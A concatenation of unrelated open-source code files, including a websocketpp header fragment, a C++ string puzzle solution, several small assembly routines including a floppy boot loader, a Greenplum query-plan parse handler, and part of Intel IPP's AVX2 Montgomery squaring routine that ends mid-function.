/// Size in bytes of the outstanding payloads in the write queue
/**
* Lock: m_write_lock
*/
size_t m_send_buffer_size;
/// buffer holding the various parts of the current message being writen
/**
* Lock m_write_lock
*/
std::vector<transport::buffer> m_send_buffer;
/// a list of pointers to hold on to the messages being written to keep them
/// from going out of scope before the write is complete.
std::vector<message_ptr> m_current_msgs;
/// True if there is currently an outstanding transport write
/**
* Lock m_write_lock
*/
bool m_write_flag;
/// True if this connection is presently reading new data
bool m_read_flag;
// connection data
request_type m_request;
response_type m_response;
uri_ptr m_uri;
std::string m_subprotocol;
// connection data that might not be necessary to keep around for the life
// of the whole connection.
std::vector<std::string> m_requested_subprotocols;
bool const m_is_server;
alog_type& m_alog;
elog_type& m_elog;
rng_type & m_rng;
// Close state
/// Close code that was sent on the wire by this endpoint
close::status::value m_local_close_code;
/// Close reason that was sent on the wire by this endpoint
std::string m_local_close_reason;
/// Close code that was received on the wire from the remote endpoint
close::status::value m_remote_close_code;
/// Close reason that was received on the wire from the remote endpoint
std::string m_remote_close_reason;
/// Detailed internal error code
lib::error_code m_ec;
/// A flag that gets set once it is determined that the connection is an
/// HTTP connection and not a WebSocket one.
bool m_is_http;
/// A flag that gets set when the completion of an http connection is
/// deferred until later.
session::http_state::value m_http_state;
bool m_was_clean;
/// Whether or not this endpoint initiated the closing handshake.
bool m_closed_by_me;
/// ???
bool m_failed_by_me;
/// Whether or not this endpoint initiated the drop of the TCP connection
bool m_dropped_by_me;
};
} // namespace websocketpp
#include <websocketpp/impl/connection_impl.hpp>
#endif // WEBSOCKETPP_CONNECTION_HPP
|
#include <algorithm>
#include <string>
#include <vector>
using namespace std;
class Solution
{
public:
vector<string> maxNumOfSubstrings(string s)
{
vector<int> left(26), right(26);
int N = s.length();
for (int i = 0; i < N; ++i)
right[s[i] - 'a'] = i;
for (int i = N - 1; i >= 0; --i)
left[s[i] - 'a'] = i;
vector<string> res(1);
int last_right = N;
for (int i = 0; i < N; ++i)
{
if (i == left[s[i] - 'a'])
{
int rightmost = checkStr(s, i, left, right);
if (rightmost != -1)
{
if (i > last_right)
res.push_back("");
last_right = rightmost;
res.back() = s.substr(i, rightmost - i + 1);
}
}
}
return res;
}
int checkStr(const string &s, int start, vector<int> &left, vector<int> &right)
{
int maxright = right[s[start] - 'a'];
for (int i = start; i < maxright; ++i)
{
if (left[s[i] - 'a'] < start)
return -1;
maxright = max(maxright, right[s[i] - 'a']);
}
return maxright;
}
}; |
; A014642: Even octagonal numbers: a(n) = 4*n*(3*n-1).
; 0,8,40,96,176,280,408,560,736,936,1160,1408,1680,1976,2296,2640,3008,3400,3816,4256,4720,5208,5720,6256,6816,7400,8008,8640,9296,9976,10680,11408,12160,12936,13736,14560,15408,16280,17176,18096,19040,20008,21000,22016,23056,24120,25208,26320,27456,28616,29800,31008,32240,33496,34776,36080,37408,38760,40136,41536,42960,44408,45880,47376,48896,50440,52008,53600,55216,56856,58520,60208,61920,63656,65416,67200,69008,70840,72696,74576,76480,78408,80360,82336,84336,86360,88408,90480,92576,94696,96840
mov $1,$0
mul $1,12
sub $1,4
mul $0,$1
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; Invd.Asm
;
; Abstract:
;
; AsmInvd function
;
; Notes:
;
;------------------------------------------------------------------------------
.486p
.model flat
.code
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmInvd (
; VOID
; );
;------------------------------------------------------------------------------
_AsmInvd PROC
invd
ret
_AsmInvd ENDP
END
|
SECTION code_clib
PUBLIC pointxy
EXTERN pointxy_MODE0
EXTERN pointxy_MODE1
EXTERN __vz200_mode
pointxy:
ld a,(__vz200_mode)
and a
jp z,pointxy_MODE0
jp pointxy_MODE1
|
%include 'config.inc'
jmp entry
nop
%include 'fat12_1_44.inc'
; move to 0x90000
entry:
mov ax, boot_seg
mov ds, ax
mov ax, init_seg
mov es, ax
mov cx, 0x100 ; 256个字 -> 512B
sub si, si ; 置0
sub di, di ; 置0
cld ; 方向标志置1
rep movsw ; loop until cx=0; 移动 ds:si -> es:di
jmp init_seg:go
go:
mov ax, cs
mov ds, ax
;mov es, ax
mov ax, load_seg
mov es, ax
mov bx, 0
mov cx, 0x0002
mov dx, 0
readloop:
mov ax, 0x0201
int 0x13
jnc next
error_final:
hlt
jmp error_final
next:
mov ax, es
add ax, 0x20
mov es, ax
inc cl
cmp cl, 18
jbe readloop
mov cl, 1
inc dh
cmp dh, 2
jb readloop
mov dh, 0
inc ch
cmp ch, bootload
jb readloop
ok_finnal:
jmp head_seg:0
times 510-($-$$) db 0
dw 0xaa55
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x000000005c3bc5b0",
"RBX": "0x000000001dd5b1e5",
"RCX": "0x0000000015d1c92d"
}
}
%endif
mov rax, 0x41424344454647
mov rbx, 0x51525354555657
mov rcx, 0x61626364656667
mov rdx, 0x71727374757677
; crc32 rax, rbx
db 0x66 ; Override, Should be ignored
db 0xf2 ; Prefix
db 0x48 ; REX.W
db 0x0f, 0x38, 0xf1, 0xc3
; crc32 rbx, rcx
db 0xf2 ; Prefix
db 0x66 ; Override, Should be ignored
db 0x48 ; REX.W
db 0x0f, 0x38, 0xf1, 0xd9
; crc32 rcx, rdx
db 0x66 ; Override, Should be ignored
db 0xf2 ; Prefix
db 0x66 ; Override, Should be ignored
db 0x48 ; REX.W
db 0x0f, 0x38, 0xf1, 0xca
hlt
|
; void UNSAFE_SMS_VRAMmemcpy64(unsigned int dst,void *src)
SECTION code_clib
SECTION code_SMSlib
PUBLIC _UNSAFE_SMS_VRAMmemcpy64
EXTERN asm_SMSlib_UNSAFE_VRAMmemcpy64
_UNSAFE_SMS_UNSAFE_VRAMmemcpy64:
pop af
pop hl
pop de
push de
push hl
push af
jp asm_SMSlib_UNSAFE_VRAMmemcpy64
|
//---------------------------------------------------------------------------
// Greenplum Database
// Copyright (C) 2010 Greenplum, Inc.
//
// @filename:
// CParseHandlerHashJoin.cpp
//
// @doc:
// Implementation of the SAX parse handler class for parsing hash join operators.
//---------------------------------------------------------------------------
#include "naucrates/dxl/parser/CParseHandlerHashJoin.h"
#include "naucrates/dxl/parser/CParseHandlerCondList.h"
#include "naucrates/dxl/parser/CParseHandlerFactory.h"
#include "naucrates/dxl/parser/CParseHandlerFilter.h"
#include "naucrates/dxl/parser/CParseHandlerProjList.h"
#include "naucrates/dxl/parser/CParseHandlerProperties.h"
#include "naucrates/dxl/parser/CParseHandlerScalarOp.h"
#include "naucrates/dxl/parser/CParseHandlerUtils.h"
#include "naucrates/dxl/operators/CDXLOperatorFactory.h"
using namespace gpdxl;
XERCES_CPP_NAMESPACE_USE
//---------------------------------------------------------------------------
// @function:
// CParseHandlerHashJoin::CParseHandlerHashJoin
//
// @doc:
// Constructor
//
//---------------------------------------------------------------------------
CParseHandlerHashJoin::CParseHandlerHashJoin(
CMemoryPool *mp, CParseHandlerManager *parse_handler_mgr,
CParseHandlerBase *parse_handler_root)
: CParseHandlerPhysicalOp(mp, parse_handler_mgr, parse_handler_root),
m_dxl_op(NULL)
{
}
//---------------------------------------------------------------------------
// @function:
// CParseHandlerHashJoin::StartElement
//
// @doc:
// Invoked by Xerces to process an opening tag
//
//---------------------------------------------------------------------------
void
CParseHandlerHashJoin::StartElement(const XMLCh *const, // element_uri,
const XMLCh *const element_local_name,
const XMLCh *const, // element_qname
const Attributes &attrs)
{
if (0 != XMLString::compareString(
CDXLTokens::XmlstrToken(EdxltokenPhysicalHashJoin),
element_local_name))
{
CWStringDynamic *str = CDXLUtils::CreateDynamicStringFromXMLChArray(
m_parse_handler_mgr->GetDXLMemoryManager(), element_local_name);
GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag,
str->GetBuffer());
}
// parse and create Hash join operator
m_dxl_op = (CDXLPhysicalHashJoin *) CDXLOperatorFactory::MakeDXLHashJoin(
m_parse_handler_mgr->GetDXLMemoryManager(), attrs);
// create and activate the parse handler for the children nodes in reverse
// order of their expected appearance
// parse handler for right child
CParseHandlerBase *right_child_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenPhysical),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(right_child_parse_handler);
// parse handler for left child
CParseHandlerBase *left_child_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenPhysical),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(left_child_parse_handler);
// parse handler for the hash clauses
CParseHandlerBase *hash_clauses_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenScalarHashCondList),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(hash_clauses_parse_handler);
// parse handler for the join filter
CParseHandlerBase *hashjoin_filter_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenScalarFilter),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(hashjoin_filter_parse_handler);
// parse handler for the filter
CParseHandlerBase *filter_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenScalarFilter),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(filter_parse_handler);
// parse handler for the proj list
CParseHandlerBase *proj_list_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenScalarProjList),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(proj_list_parse_handler);
//parse handler for the properties of the operator
CParseHandlerBase *prop_parse_handler =
CParseHandlerFactory::GetParseHandler(
m_mp, CDXLTokens::XmlstrToken(EdxltokenProperties),
m_parse_handler_mgr, this);
m_parse_handler_mgr->ActivateParseHandler(prop_parse_handler);
// store parse handlers
this->Append(prop_parse_handler);
this->Append(proj_list_parse_handler);
this->Append(filter_parse_handler);
this->Append(hashjoin_filter_parse_handler);
this->Append(hash_clauses_parse_handler);
this->Append(left_child_parse_handler);
this->Append(right_child_parse_handler);
}
//---------------------------------------------------------------------------
// @function:
// CParseHandlerHashJoin::EndElement
//
// @doc:
// Invoked by Xerces to process a closing tag
//
//---------------------------------------------------------------------------
void
CParseHandlerHashJoin::EndElement(const XMLCh *const, // element_uri,
const XMLCh *const element_local_name,
const XMLCh *const // element_qname
)
{
if (0 != XMLString::compareString(
CDXLTokens::XmlstrToken(EdxltokenPhysicalHashJoin),
element_local_name))
{
CWStringDynamic *str = CDXLUtils::CreateDynamicStringFromXMLChArray(
m_parse_handler_mgr->GetDXLMemoryManager(), element_local_name);
GPOS_RAISE(gpdxl::ExmaDXL, gpdxl::ExmiDXLUnexpectedTag,
str->GetBuffer());
}
// construct node from the created child nodes
CParseHandlerProperties *prop_parse_handler =
dynamic_cast<CParseHandlerProperties *>((*this)[0]);
CParseHandlerProjList *proj_list_parse_handler =
dynamic_cast<CParseHandlerProjList *>((*this)[1]);
CParseHandlerFilter *filter_parse_handler =
dynamic_cast<CParseHandlerFilter *>((*this)[2]);
CParseHandlerFilter *hashjoin_filter_parse_handler =
dynamic_cast<CParseHandlerFilter *>((*this)[3]);
CParseHandlerCondList *hash_clauses_parse_handler =
dynamic_cast<CParseHandlerCondList *>((*this)[4]);
CParseHandlerPhysicalOp *left_child_parse_handler =
dynamic_cast<CParseHandlerPhysicalOp *>((*this)[5]);
CParseHandlerPhysicalOp *right_child_parse_handler =
dynamic_cast<CParseHandlerPhysicalOp *>((*this)[6]);
m_dxl_node = GPOS_NEW(m_mp) CDXLNode(m_mp, m_dxl_op);
// set statictics and physical properties
CParseHandlerUtils::SetProperties(m_dxl_node, prop_parse_handler);
// add children
AddChildFromParseHandler(proj_list_parse_handler);
AddChildFromParseHandler(filter_parse_handler);
AddChildFromParseHandler(hashjoin_filter_parse_handler);
AddChildFromParseHandler(hash_clauses_parse_handler);
AddChildFromParseHandler(left_child_parse_handler);
AddChildFromParseHandler(right_child_parse_handler);
#ifdef GPOS_DEBUG
m_dxl_op->AssertValid(m_dxl_node, false /* validate_children */);
#endif // GPOS_DEBUG
// deactivate handler
m_parse_handler_mgr->DeactivateHandler();
}
// EOF
|
;===============================================================================
; Copyright 2015-2020 Intel Corporation
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Big Number Operations
;
; Content:
; mont_sqr1024_avx2()
;
%include "asmdefs.inc"
%include "ia_32e.inc"
%if (__ARCH32E >= __ARCH32E_L9)
segment .text align=ARCH_ALIGN_FACTOR
%assign DIGIT_BITS 27
%assign DIGIT_MASK (1 << DIGIT_BITS) -1
;*************************************************************
;* void mont_sqr1024_avx2(uint64_t* pR,
;* const uint64_t* pA,
;* const uint64_t* pModulus, int mSize,
;* uint64_t k0,
;* uint64_t* pBuffer)
;*************************************************************
align ARCH_ALIGN_FACTOR
IPPASM mont_sqr1024_avx2,PUBLIC
%assign LOCAL_FRAME sizeof(qword)*7
USES_GPR rsi,rdi,rbx,rbp,r12,r13,r14
USES_XMM_AVX ymm6,ymm7,ymm8,ymm9,ymm10,ymm11,ymm12,ymm13,ymm14
COMP_ABI 6
movsxd rcx, ecx ; redLen value counter
vpxor ymm11, ymm11, ymm11
;; expands A and M operands
vmovdqu ymmword [rsi+rcx*sizeof(qword)], ymm11
vmovdqu ymmword [rdx+rcx*sizeof(qword)], ymm11
;
; stack struct
;
%assign pResult 0 ; pointer to result
%assign pA pResult+sizeof(qword) ; pointer to A operand
%assign pM pA+sizeof(qword) ; pointer to modulus
%assign redLen pM+sizeof(qword) ; length
%assign m0 redLen+sizeof(qword) ; m0 value
%assign pA2 m0+sizeof(qword) ; pointer to buffer (contains doubled input (A*2) and temporary result (A^2) )
%assign pAxA pA2+sizeof(qword) ; pointer to temporary result (A^2)
mov qword [rsp+pResult], rdi ; store pointer to result
mov qword [rsp+pA], rsi ; store pointer to input A
mov qword [rsp+pM], rdx ; store pointer to modulus
mov qword [rsp+redLen], rcx ; store redLen
mov qword [rsp+m0], r8 ; store m0 value
mov rcx, dword 40
mov rdi, r9
mov qword [rsp+pAxA], rdi ; pointer to temporary result (low A^2)
lea rbx, [rdi+rcx*sizeof(qword)] ; pointer to temporary result (high A^2)
lea r9, [rbx+rcx*sizeof(qword)] ; pointer to doubled input (A*2)
mov qword [rsp+pA2], r9
mov rax, rsi
mov rcx, dword sizeof(ymmword)/sizeof(qword)
;; doubling input
vmovdqu ymm0, ymmword [rsi]
vmovdqu ymm1, ymmword [rsi+sizeof(ymmword)]
vmovdqu ymm2, ymmword [rsi+sizeof(ymmword)*2]
vmovdqu ymm3, ymmword [rsi+sizeof(ymmword)*3]
vmovdqu ymm4, ymmword [rsi+sizeof(ymmword)*4]
vmovdqu ymm5, ymmword [rsi+sizeof(ymmword)*5]
vmovdqu ymm6, ymmword [rsi+sizeof(ymmword)*6]
vmovdqu ymm7, ymmword [rsi+sizeof(ymmword)*7]
vmovdqu ymm8, ymmword [rsi+sizeof(ymmword)*8]
vmovdqu ymm9, ymmword [rsi+sizeof(ymmword)*9]
vmovdqu ymmword [r9], ymm0
vpbroadcastq ymm10, qword [rax] ; ymm10 = {a0:a0:a0:a0}
vpaddq ymm1, ymm1, ymm1
vmovdqu ymmword [r9+sizeof(ymmword)], ymm1
vpaddq ymm2, ymm2, ymm2
vmovdqu ymmword [r9+sizeof(ymmword)*2], ymm2
vpaddq ymm3, ymm3, ymm3
vmovdqu ymmword [r9+sizeof(ymmword)*3], ymm3
vpaddq ymm4, ymm4, ymm4
vmovdqu ymmword [r9+sizeof(ymmword)*4], ymm4
vpaddq ymm5, ymm5, ymm5
vmovdqu ymmword [r9+sizeof(ymmword)*5], ymm5
vpaddq ymm6, ymm6, ymm6
vmovdqu ymmword [r9+sizeof(ymmword)*6], ymm6
vpaddq ymm7, ymm7, ymm7
vmovdqu ymmword [r9+sizeof(ymmword)*7], ymm7
vpaddq ymm8, ymm8, ymm8
vmovdqu ymmword [r9+sizeof(ymmword)*8], ymm8
vpaddq ymm9, ymm9, ymm9
vmovdqu ymmword [r9+sizeof(ymmword)*9], ymm9
;;
;; squaring
;;
vpmuludq ymm0, ymm10, ymmword [rsi]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*4] ; ymm14 = {a4:a4:a4:a4}
vmovdqu ymmword [rbx], ymm11
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)]
vmovdqu ymmword [rbx+sizeof(ymmword)], ymm11
vpmuludq ymm2, ymm10, ymmword [r9+sizeof(ymmword)*2]
vmovdqu ymmword [rbx+sizeof(ymmword)*2], ymm11
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*3]
vmovdqu ymmword [rbx+sizeof(ymmword)*3], ymm11
vpmuludq ymm4, ymm10, ymmword [r9+sizeof(ymmword)*4]
vmovdqu ymmword [rbx+sizeof(ymmword)*4], ymm11
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*5]
vmovdqu ymmword [rbx+sizeof(ymmword)*5], ymm11
vpmuludq ymm6, ymm10, ymmword [r9+sizeof(ymmword)*6]
vmovdqu ymmword [rbx+sizeof(ymmword)*6], ymm11
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*7]
vmovdqu ymmword [rbx+sizeof(ymmword)*7], ymm11
vpmuludq ymm8, ymm10, ymmword [r9+sizeof(ymmword)*8]
vmovdqu ymmword [rbx+sizeof(ymmword)*8], ymm11
vpmuludq ymm9, ymm10, ymmword [r9+sizeof(ymmword)*9]
vmovdqu ymmword [rbx+sizeof(ymmword)*9], ymm11
jmp .sqr1024_ep
align ARCH_ALIGN_FACTOR
.sqr1024_loop4:
vpmuludq ymm0, ymm10, ymmword [rsi]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*4] ; ymm14 = {a4:a4:a4:a4}
vpaddq ymm0, ymm0, ymmword [rdi]
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)]
vpaddq ymm1, ymm1, ymmword [rdi+sizeof(ymmword)]
vpmuludq ymm2, ymm10, ymmword [r9+sizeof(ymmword)*2]
vpaddq ymm2, ymm2, ymmword [rdi+sizeof(ymmword)*2]
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm3, ymm3, ymmword [rdi+sizeof(ymmword)*3]
vpmuludq ymm4, ymm10, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm4, ymm4, ymmword [rdi+sizeof(ymmword)*4]
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm5, ymm5, ymmword [rdi+sizeof(ymmword)*5]
vpmuludq ymm6, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm6, ymm6, ymmword [rdi+sizeof(ymmword)*6]
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm7, ymm7, ymmword [rdi+sizeof(ymmword)*7]
vpmuludq ymm8, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm8, ymm8, ymmword [rdi+sizeof(ymmword)*8]
vpmuludq ymm9, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm9, ymm9, ymmword [rdi+sizeof(ymmword)*9]
.sqr1024_ep:
vmovdqu ymmword [rdi], ymm0
vmovdqu ymmword [rdi+sizeof(ymmword)], ymm1
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*8] ; ymm10 = {a8:a8:a8:a8}
vpaddq ymm2, ymm2, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*2]
vpaddq ymm3, ymm3, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm4, ymm4, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm5, ymm5, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm6, ymm6, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm7, ymm7, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm8, ymm8, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm9, ymm9, ymm12
vpmuludq ymm0, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm0, ymm0, ymmword [rbx]
vmovdqu ymmword [rdi+sizeof(ymmword)*2], ymm2
vmovdqu ymmword [rdi+sizeof(ymmword)*3], ymm3
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*2]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*12] ; ymm14 = {a12:a12:a12:a12}
vpaddq ymm4, ymm4, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm5, ymm5, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm6, ymm6, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm7, ymm7, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm8, ymm8, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm9, ymm9, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm0, ymm0, ymm11
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm1, ymm1, ymmword [rbx+sizeof(ymmword)]
vmovdqu ymmword [rdi+sizeof(ymmword)*4], ymm4
vmovdqu ymmword [rdi+sizeof(ymmword)*5], ymm5
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*3]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*16] ; ymm10 = {a16:a16:a16:a16}
vpaddq ymm6, ymm6, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm7, ymm7, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm8, ymm8, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm9, ymm9, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm0, ymm0, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm1, ymm1, ymm13
vpmuludq ymm2, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm2, ymm2, ymmword [rbx+sizeof(ymmword)*2]
vmovdqu ymmword [rdi+sizeof(ymmword)*6], ymm6
vmovdqu ymmword [rdi+sizeof(ymmword)*7], ymm7
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*4]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*20] ; ymm14 = {a20:a20:a20:a20}
vpaddq ymm8, ymm8, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm9, ymm9, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm0, ymm0, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm1, ymm1, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm2, ymm2, ymm12
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm3, ymm3, ymmword [rbx+sizeof(ymmword)*3]
vmovdqu ymmword [rdi+sizeof(ymmword)*8], ymm8
vmovdqu ymmword [rdi+sizeof(ymmword)*9], ymm9
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*5]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*24] ; ymm10 = {a24:a24:a24:a24}
vpaddq ymm0, ymm0, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm1, ymm1, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm2, ymm2, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm3, ymm3, ymm11
vpmuludq ymm4, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm4, ymm4, ymmword [rbx+sizeof(ymmword)*4]
vmovdqu ymmword [rdi+sizeof(ymmword)*10], ymm0
vmovdqu ymmword [rdi+sizeof(ymmword)*11], ymm1
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*6]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*28] ; ymm14 = {a28:a28:a28:a28}
vpaddq ymm2, ymm2, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm3, ymm3, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm4, ymm4, ymm13
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm5, ymm5, ymmword [rbx+sizeof(ymmword)*5]
vmovdqu ymmword [rdi+sizeof(ymmword)*12], ymm2
vmovdqu ymmword [rdi+sizeof(ymmword)*13], ymm3
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*7]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*32] ; ymm10 = {a32:a32:a32:a32}
vpaddq ymm4, ymm4, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm5, ymm5, ymm12
vpmuludq ymm6, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm6, ymm6, ymmword [rbx+sizeof(ymmword)*6]
vmovdqu ymmword [rdi+sizeof(ymmword)*14], ymm4
vmovdqu ymmword [rdi+sizeof(ymmword)*15], ymm5
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*8]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*36] ; ymm14 = {a36:a36:a36:a36}
vpaddq ymm6, ymm6, ymm11
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm7, ymm7, ymmword [rbx+sizeof(ymmword)*7]
vpmuludq ymm8, ymm14, ymmword [rsi+sizeof(ymmword)*9]
vpbroadcastq ymm10, qword [rax+sizeof(qword)] ; ymm10 = {a[1/2/3]:a[1/2/3]:a[1/2/3]:a[1/2/3]}
vpaddq ymm8, ymm8, ymmword [rbx+sizeof(ymmword)*8]
vmovdqu ymmword [rdi+sizeof(ymmword)*16], ymm6
vmovdqu ymmword [rdi+sizeof(ymmword)*17], ymm7
vmovdqu ymmword [rdi+sizeof(ymmword)*18], ymm8
add rdi, sizeof(qword)
add rbx, sizeof(qword)
add rax, sizeof(qword)
sub rcx, 1
jnz .sqr1024_loop4
;;
;; reduction
;;
mov rdi, qword [rsp+pAxA] ; restore pointer to temporary result (low A^2)
mov rcx, qword [rsp+pM] ; restore pointer to modulus
mov r8, qword [rsp+m0] ; restore m0 value
mov r9, dword 38 ; modulus length
mov r10, qword [rdi] ; load low part of temporary result
mov r11, qword [rdi+sizeof(qword)] ;
mov r12, qword [rdi+sizeof(qword)*2] ;
mov r13, qword [rdi+sizeof(qword)*3] ;
mov rdx, r10 ; y0 = (ac0*k0) & DIGIT_MASK
imul edx, r8d
and edx, DIGIT_MASK
vmovd xmm10, edx
vmovdqu ymm1, ymmword [rdi+sizeof(ymmword)*1] ; load other data
vmovdqu ymm2, ymmword [rdi+sizeof(ymmword)*2] ;
vmovdqu ymm3, ymmword [rdi+sizeof(ymmword)*3] ;
vmovdqu ymm4, ymmword [rdi+sizeof(ymmword)*4] ;
vmovdqu ymm5, ymmword [rdi+sizeof(ymmword)*5] ;
vmovdqu ymm6, ymmword [rdi+sizeof(ymmword)*6] ;
mov rax, rdx ; ac0 += pn[0]*y0
imul rax, qword [rcx]
add r10, rax
vpbroadcastq ymm10, xmm10
vmovdqu ymm7, ymmword [rdi+sizeof(ymmword)*7] ; load other data
vmovdqu ymm8, ymmword [rdi+sizeof(ymmword)*8] ;
vmovdqu ymm9, ymmword [rdi+sizeof(ymmword)*9] ;
mov rax, rdx ; ac1 += pn[1]*y0
imul rax, qword [rcx+sizeof(qword)]
add r11, rax
mov rax, rdx ; ac2 += pn[2]*y0
imul rax, qword [rcx+sizeof(qword)*2]
add r12, rax
shr r10, DIGIT_BITS ; updtae ac1
imul rdx, qword [rcx+sizeof(qword)*3] ; ac3 += pn[3]*y0
add r13, rdx
add r11, r10 ; updtae ac1
mov rdx, r11 ; y1 = (ac1*k0) & DIGIT_MASK
imul edx, r8d
